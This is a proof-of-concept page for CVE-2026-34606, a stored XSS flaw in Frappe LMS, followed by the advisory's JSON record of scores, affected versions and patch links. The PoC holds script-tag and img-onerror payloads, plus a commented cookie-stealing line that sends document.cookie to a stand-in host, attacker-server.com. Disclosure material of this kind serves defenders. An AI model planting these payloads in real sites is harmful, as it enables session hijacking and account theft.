CVE-2026-34606

<!-- PoC for CVE-2026-34606 (Stored XSS in Frappe LMS) Description: Inject a script payload into a vulnerable field (e.g., Course Name or Description). --> <script> // Simple PoC to demonstrate execution alert('CVE-2026-34606: XSS Executed'); // Advanced Payload (Stealing Cookies) // var i = new Image(); // i.src = "http://attacker-server.com/steal?c=" + document.cookie; </script> <!-- Alternatively, using an image tag to bypass simple filters --> <img src=x onerror=alert('XSS')>

{"cve": {"id": "CVE-2026-34606", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:32.170", "lastModified": "2026-04-07T19:06:27.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe Learning Management System (LMS) is a learning system that helps users structure their content. From version 2.27.0 to before version 2.48.0, Frappe LMS was vulnerable to stored XSS. This issue has been patched in version 2.48.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:learning:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.27.0", "versionEndExcluding": "2.48.0", "matchCriteriaId": "96D4B4F9-868F-4048-96A8-AD904B931806"}]}]}], "references": [{"url": "https://github.com/frappe/lms/commit/b8283860a7f029ea2fa0245131c398c079088921", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/frappe/lms/pull/2185", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/frappe/lms/releases/tag/v2.48.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/frappe/lms/security/advisories/GHSA-qf5w-r34q-c7j2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}